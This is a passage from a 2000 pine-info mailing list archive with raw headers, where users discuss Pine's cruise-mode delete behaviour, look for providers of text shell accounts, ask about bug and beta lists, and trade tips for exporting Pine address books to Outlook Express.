enable-cruise-mode is also set). This way the only way to have the resultant behavior as you did would be to actually edit the "pinerc" file yourself and set them manually. There would be other uses for this as well: such as enabling expunge-without-confirm when expunge-without-confirm-everywhere is enabled. -- David Rientjes From pinedev@shiva0.cac.washington.edu Tue Sep 5 12:29:38 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Tue, 5 Sep 2000 12:29:38 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA09621; Tue, 5 Sep 2000 12:29:37 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA30528; Tue, 5 Sep 2000 12:29:36 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA02345; Tue, 5 Sep 2000 12:28:51 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA43018 for ; Tue, 5 Sep 2000 12:28:13 -0700 Received: from vax.area.com (vax.area.com [216.218.218.27]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id MAA04120 for ; Tue, 5 Sep 2000 12:28:13 -0700 Received: (qmail 24159 invoked by uid 1828); 5 Sep 2000 19:25:01 -0000 Message-Id: Date: Tue, 5 Sep 2000 12:25:01 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: mattack@area.com To: Pine Discussion Forum Subject: Re: space-to-next-message MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 5 Sep 2000, Eduardo Chappa wrote: >*** mattack@area.com wrote in the pine-info list about "Re: >space-to-next-message" today: > >:) PLUS, even with this functionality, the problem of not seeing "DEL" at the >:) top of the screen still remains. > >But the top of the screen refers only to the current message, if you press >the space bar you go to another message, so DEL does not apply to that >message yet. Maybe what you are thinking of is some kind of message at the >bottom of the screen that says something like "previous read message >marked deleted" or something like that. No, what I was talking about was when I had [ ] enable-cruise-mode-delete set, but [ ] enable-cruise-mode NOT SET. I have no idea how/when I got into this state in the first place. But in this situation, it DELETES the current message without moving to the next message... and without telling you in the header that the message was marked deleted. I only noticed it after I went into index mode (the message list). Relatively minor, but esp since pine is supposedly for beginning users, could be a serious problem for some users. Plus as I'm not sure if I mentioned it in my other reply -- "cruise-mode" isn't a very good name. Something more blatantly obvious like "space-next-message-mode" would have made me more likely to see it in the prefs. From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 05:31:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id FAA11847; Wed, 6 Sep 2000 05:31:19 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id FAA31439; Wed, 6 Sep 2000 05:31:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id FAA04862; Wed, 6 Sep 2000 05:30:38 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id FAA61886 for ; Wed, 6 Sep 2000 05:29:36 -0700 Received: from mail.ptd.net (mail2.ha-net.ptd.net [207.44.96.98]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with SMTP id FAA20763 for ; Wed, 6 Sep 2000 05:29:35 -0700 Received: (qmail 25943 invoked from network); 6 Sep 2000 12:29:31 -0000 Received: from home2.ha-net.ptd.net (HELO home2) (204.186.200.2) by mail.ptd.net with SMTP; 6 Sep 2000 12:29:31 -0000 Message-Id: Date: Wed, 6 Sep 2000 08:30:02 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: PTD-055944 To: Pine Discussion Forum Subject: "Nationwide" Pine Servers? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: palencar@home2 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN The only server in my community that still offers text-only, "shell" accounts is phasing them out. If anyone on this group could refer me to any nationwide server (toll calls may not be a matter of choice, I know), I would be really grateful to get the information. Thanks. -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 06:03:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA04257; Wed, 6 Sep 2000 06:03:33 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA31993; Wed, 6 Sep 2000 06:03:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA05501; Wed, 6 Sep 2000 06:02:56 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA138090 for ; Wed, 6 Sep 2000 06:02:22 -0700 Received: from konichiwa.cc.columbia.edu (IDENT:cu43432@konichiwa.cc.columbia.edu [128.59.59.132]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA00673 for ; Wed, 6 Sep 2000 06:02:21 -0700 Received: from localhost by konichiwa.cc.columbia.edu (8.9.3/8.9.3) with ESMTP id JAA29737; Wed, 6 Sep 2000 09:02:20 -0400 (EDT) Message-Id: Date: Wed, 6 Sep 2000 09:02:20 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Freda B Birnbaum To: Pine Discussion Forum Subject: Re: "Nationwide" Pine Servers? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: fbb6@columbia.edu X-To: Pine Discussion Forum X-Cc: Freda B Birnbaum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 6 Sep 2000, PTD-055944 wrote: > The only server in my community that still offers text-only, "shell" > accounts is phasing them out. If anyone on this group could refer me > to any nationwide server (toll calls may not be a matter of choice, I > know), I would be really grateful to get the information. I may have misunderstood your question, but someone told me that IDT has them. This may not be current, though. Freda Birnbaum, fbb6@columbia.edu "Call on God, but row away from the rocks" From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 06:33:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA15515; Wed, 6 Sep 2000 06:33:31 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA32506; Wed, 6 Sep 2000 06:33:31 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA23583; Wed, 6 Sep 2000 06:32:32 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA138174 for ; Wed, 6 Sep 2000 06:31:54 -0700 Received: from mail.i.linux.com (IDENT:root@mail.linux.com [198.186.203.59]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA03065 for ; Wed, 6 Sep 2000 06:31:54 -0700 Received: from shiftq.linux.com (IDENT:mail@shiftq.linux.com [10.1.1.10]) by mail.i.linux.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e86DVrr16165; Wed, 6 Sep 2000 06:31:53 -0700 Received: from localhost (dwild@localhost) by shiftq.linux.com (8.9.3/8.9.3) with ESMTP id GAA14672; Wed, 6 Sep 2000 06:31:53 -0700 Message-Id: Date: Wed, 6 Sep 2000 09:31:53 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Derek Wildstar To: Pine Discussion Forum Subject: Re: "Nationwide" Pine Servers? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Freda B Birnbaum X-Cc: Pine Discussion Forum X-Authentication-Warning: shiftq.linux.com: dwild owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 6 Sep 2000, Freda B Birnbaum wrote: > On Wed, 6 Sep 2000, PTD-055944 wrote: > > > The only server in my community that still offers text-only, "shell" > > accounts is phasing them out. If anyone on this group could refer me > > to any nationwide server (toll calls may not be a matter of choice, I > > know), I would be really grateful to get the information. > > I may have misunderstood your question, but someone told me that IDT has > them. This may not be current, though. > > Freda Birnbaum, fbb6@columbia.edu > "Call on God, but row away from the rocks" Check http://www.eskimo.com, I used to be a sysadmin there and the owner is very old-school, they offer nationwide dialup thru MegaPOP. (voice: 1-800-246-6874; email support@eskimo.com) -dwild From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 06:39:52 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id GAA07955; Wed, 6 Sep 2000 06:39:51 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA32623; Wed, 6 Sep 2000 06:39:51 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id GAA06139; Wed, 6 Sep 2000 06:38:11 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id GAA15498 for ; Wed, 6 Sep 2000 06:37:41 -0700 Received: from mail.i.linux.com (IDENT:root@mail.linux.com [198.186.203.59]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA03496 for ; Wed, 6 Sep 2000 06:37:41 -0700 Received: from shiftq.linux.com (IDENT:mail@shiftq.linux.com [10.1.1.10]) by mail.i.linux.com (8.11.0.Beta3/8.11.0.Beta3) with ESMTP id e86Dber16364 for ; Wed, 6 Sep 2000 06:37:41 -0700 Received: from localhost (dwild@localhost) by shiftq.linux.com (8.9.3/8.9.3) with ESMTP id GAA14705 for ; Wed, 6 Sep 2000 06:37:40 -0700 Message-Id: Date: Wed, 6 Sep 2000 09:37:40 -0400 (EDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Derek Wildstar To: Pine Discussion Forum Subject: list names MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Authentication-Warning: shiftq.linux.com: dwild owned process doing -bs X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Is there a dedicated pine-bugs or pine-beta list? Thanks, -dwild -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 10:15:59 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA00724; Wed, 6 Sep 2000 10:15:58 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA07102; Wed, 6 Sep 2000 10:15:58 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA12823; Wed, 6 Sep 2000 10:15:01 -0700 Received: from jason03.u.washington.edu (root@jason03.u.washington.edu [140.142.77.10]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA62082 for ; Wed, 6 Sep 2000 10:13:18 -0700 Received: from dante21.u.washington.edu (leibrand@dante21.u.washington.edu [140.142.15.71]) by jason03.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.01) with ESMTP id KAA16768; Wed, 6 Sep 2000 10:13:17 -0700 Received: from localhost (leibrand@localhost) by dante21.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA123610; Wed, 6 Sep 2000 10:13:16 -0700 Message-Id: Date: Wed, 6 Sep 2000 10:13:16 -0700 (PDT) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Scott Leibrand To: Pine Discussion Forum Subject: Re: list names In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Derek Wildstar X-Cc: Pine Discussion Forum X-Sender: leibrand@dante21.u.washington.edu X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 6 Sep 2000, Derek Wildstar wrote: > Is there a dedicated pine-bugs or pine-beta list? There's pine-bugs@cac.washington.edu, but that's not really a list. Messages sent there just go to the Pine team. There is an alpha/beta list. To become a tester, you need to send a request to pine@cac.washington.edu, and they can add you to the list manually. -- Scott Leibrand leibrand+pine@u.washington.edu (Yes, that is a valid address.) http://students.washington.edu/leibrand http://www.nwlink.com/~leibrand * RCW 19.190 notice: This email address is located in Washington State. * * Unsolicited commercial email may be billed $500 per message. * From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 11:09:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA15307; Wed, 6 Sep 2000 11:09:21 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA00507; Wed, 6 Sep 2000 11:09:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA14789; Wed, 6 Sep 2000 11:08:02 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA94020 for ; Wed, 6 Sep 2000 11:07:28 -0700 Received: from lye.youthencounter.org (lye.visi.com [209.98.4.158]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA15699 for ; Wed, 6 Sep 2000 11:07:26 -0700 Received: from jeff ([192.168.1.174]) by lye.youthencounter.org (8.8.8/SCO5) with SMTP id NAA26144 for ; Wed, 6 Sep 2000 13:05:31 -0500 (CDT) Message-Id: <000601c0182d$ec804c80$ae01a8c0@jeff.youthencounter.org> Date: Wed, 6 Sep 2000 13:11:48 -0500 Reply-To: Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jeff Rowdon" To: Pine Discussion Forum Subject: address book export MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-To: "Pine Discussion Forum" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3155.0 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Due to a new computer system I need to export user's Pine address books into Outlook Express. Does anyone know how to do that easily and cleanly? Thanks in advance for the help. Peace, Jeff at Youth Encounter jeff@youthencounter.org www.youthencounter.org -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 11:31:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA26357; Wed, 6 Sep 2000 11:31:20 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10433; Wed, 6 Sep 2000 11:31:20 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA16310; Wed, 6 Sep 2000 11:30:07 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA145760 for ; Wed, 6 Sep 2000 11:29:23 -0700 Received: from susdayte51.daytonoh.ncr.com (tan7.ncr.com [192.127.94.7]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10508 for ; Wed, 6 Sep 2000 11:29:22 -0700 Received: by susdayte51.daytonoh.ncr.com with Internet Mail Service (5.5.2650.21) id ; Wed, 6 Sep 2000 14:29:18 -0400 Message-Id: <61A60D883863D411A36600D0B785B50CBEECFA@susdayte51.daytonoh.ncr.com> Date: Wed, 6 Sep 2000 14:29:15 -0400 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Feinholz, Steven" To: Pine Discussion Forum Subject: RE: address book export MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-To: jeff@youthencounter.org, Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is what I did: Go to http://www.interguru.com/mailconv.htm and download the email address book converter. Convert your email address book to a comma-separated format file (.csv I believe). Then import that file with Outlook Express. Worked real well for me. -----Original Message----- From: Jeff Rowdon [mailto:jeff@youthencounter.org] Sent: Wednesday, September 06, 2000 11:12 AM To: Pine Discussion Forum Subject: address book export Due to a new computer system I need to export user's Pine address books into Outlook Express. Does anyone know how to do that easily and cleanly? Thanks in advance for the help. Peace, Jeff at Youth Encounter jeff@youthencounter.org www.youthencounter.org -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 11:34:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA32509; Wed, 6 Sep 2000 11:34:40 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA01578; Wed, 6 Sep 2000 11:34:39 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA15703; Wed, 6 Sep 2000 11:32:59 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA47262 for ; Wed, 6 Sep 2000 11:32:08 -0700 Received: from susdayte51.daytonoh.ncr.com (tan7.ncr.com [192.127.94.7]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA11126 for ; Wed, 6 Sep 2000 11:32:07 -0700 Received: by susdayte51.daytonoh.ncr.com with Internet Mail Service (5.5.2650.21) id ; Wed, 6 Sep 2000 14:32:02 -0400 Message-Id: <61A60D883863D411A36600D0B785B50CC181D7@susdayte51.daytonoh.ncr.com> Date: Wed, 6 Sep 2000 14:31:54 -0400 Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Feinholz, Steven" To: Pine Discussion Forum Subject: RE: address book export (correction) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-To: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Correction. There is no program to download. The conversion program runs directly from the web I believe. -----Original Message----- From: Feinholz, Steven Sent: Wednesday, September 06, 2000 11:29 AM To: Pine Discussion Forum Subject: RE: address book export This is what I did: Go to http://www.interguru.com/mailconv.htm and download the email address book converter. Convert your email address book to a comma-separated format file (.csv I believe). Then import that file with Outlook Express. Worked real well for me. -----Original Message----- From: Jeff Rowdon [mailto:jeff@youthencounter.org] Sent: Wednesday, September 06, 2000 11:12 AM To: Pine Discussion Forum Subject: address book export Due to a new computer system I need to export user's Pine address books into Outlook Express. Does anyone know how to do that easily and cleanly? Thanks in advance for the help. Peace, Jeff at Youth Encounter jeff@youthencounter.org www.youthencounter.org -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/pine/pine-info/ ----------------------------------------------------------------- From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Wed, 6 Sep 2000 11:36:54 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id LAA22760; Wed, 6 Sep 2000 11:36:51 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA10755; Wed, 6 Sep 2000 11:36:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id LAA02690; Wed, 6 Sep 2000 11:35:13 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id LAA29752 for ; Wed, 6 Sep 2000 11:34:07 -0700 Received: from moshpit.cygnus.com (moshpit.cygnus.com [203.24.38.233]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id LAA11441 for ; Wed, 6 Sep 2000 11:34:05 -0700 Received: from localhost (bje@localhost) by moshpit.cygnus.com (8.10.2/8.10.2) with ESMTP id e86IWcb12170; Thu, 7 Sep 2000 05:32:38 +1100 Message-Id: Date: Thu, 7 Sep 2000 05:32:38 +1100 (EST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Ben Elliston To: Pine Discussion Forum Subject: Re: address book export In-Reply-To: <000601c0182d$ec804c80$ae01a8c0@jeff.youthencounter.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Jeff Rowdon X-Cc: Pine Discussion Forum X-Authentication-Warning: moshpit.cygnus.com: bje owned process doing -bs X-Sender: bje@moshpit.cygnus.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Due to a new computer system I need to export user's Pine address books into Outlook Express. Does anyone know how to do that easily and cleanly? Thanks in advance for the help. The Pine address book is plain text. You can read it in .addressbook. It should be possible to import and address book in some format; you may just need to manipulate the file to placate Outlook. Ben From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Thu, 7 Sep 2000 10:05:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA10745; Thu, 7 Sep 2000 10:05:43 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03313; Thu, 7 Sep 2000 10:05:38 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA06461; Thu, 7 Sep 2000 10:04:45 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA22856 for ; Thu, 7 Sep 2000 09:59:03 -0700 Received: from maddler.net (IDENT:root@william.maddler.net [195.120.189.37]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA18079 for ; Thu, 7 Sep 2000 09:59:00 -0700 Received: from localhost (maddler@localhost) by maddler.net (8.9.3/8.8.7) with ESMTP id TAA25272; Thu, 7 Sep 2000 19:02:37 +0200 Message-Id: Date: Thu, 7 Sep 2000 19:02:36 +0200 (CEST) Sender: PINE-INFO-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: William Maddler To: Pine Discussion Forum Subject: Re: address book export In-Reply-To: <000601c0182d$ec804c80$ae01a8c0@jeff.youthencounter.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-To: Jeff Rowdon X-Cc: Pine Discussion Forum X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Or you could install PC-Pine on the new PC. Anyway _avoid_ to use Micro$soft Outlock. Eudora werks a lot better and has less bugs. 00.09.06 at 13:11, PINE-INFO-owner@u.washington.edu babbled of: JR>Due to a new computer system I need to export user's Pine address books into JR>Outlook Express. Does anyone know how to do that easily and cleanly? JR>Thanks in advance for the help. JR> JR>Peace, JR>Jeff at Youth Encounter JR>jeff@youthencounter.org JR>www.youthencounter.org JR> JR> -- +-----------------------------+ | William::Maddler | Gimme a Beer! +-----------------------------+ bid.it - maddler.net - ecn.org pollodigomma.org From pinedev@shiva0.cac.washington.edu Sun ??? 0 00:00:00 1970 +0000 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+pine-info; Sun, 10 Sep 2000 09:41:21 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id JAA27068; Sun, 10 Sep 2000 09:41:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA05576; Sun, 10 Sep 2000 09:41:19 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA11707; Sun, 10 Sep 2000 09:40:44 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA124332 for 